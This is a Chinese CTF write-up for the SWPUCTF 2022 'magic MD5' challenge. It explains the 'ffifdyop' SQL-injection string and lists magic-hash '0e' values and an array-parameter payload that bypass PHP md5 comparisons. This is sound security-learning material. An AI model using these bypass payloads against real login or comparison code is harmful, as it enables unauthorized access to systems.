为了保持做题的感觉和持续学习,也就有了每日一题系列,选一些有意义的题目或者一些CTF新颖题目作为参考学习。
[SWPUCTF 2022 新生赛]奇妙的MD5
1. 访问首页界面并进行分析
估计题目MD5提示,查询得知
ffifdyop 这个字符串是一个奇妙的MD5字符串
因为将“ffifdyop"MD5每两位十六进制对应一个 ASCII 字符之后有'or'6 ,本身看似无意义,但一旦放入早期未做安全防护的 SQL 登录验证语句中,就会瞬间改变逻辑,代入SQL后语句会被解析为查询逻辑为 “真,导致整个查询条件恒成立,实现 SQL注入攻击
2.查询字符串ffifdyop
3.查看源码,绕过弱比较
<!--
$x= $GET['x'];
$y = $_GET['y'];
if($x != $y && md5($x) == md5($y)){;
-->#字符不相同,但是md5值相同
0e 绕过 即可
?x=QNKCDZO&y=240610708
(这类字符有很多)
QNKCDZO
240610708
314282422
571579406
903251147
s878926199a
s155964671a
s214587387a
s214587387a
4.下一步,数组绕过强比较
<?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['wqh']!==$_POST['dsy']&&md5($_POST['wqh'])===md5($_POST['dsy'])){echo $FLAG;
}
wqh[]=1&dsy[]=2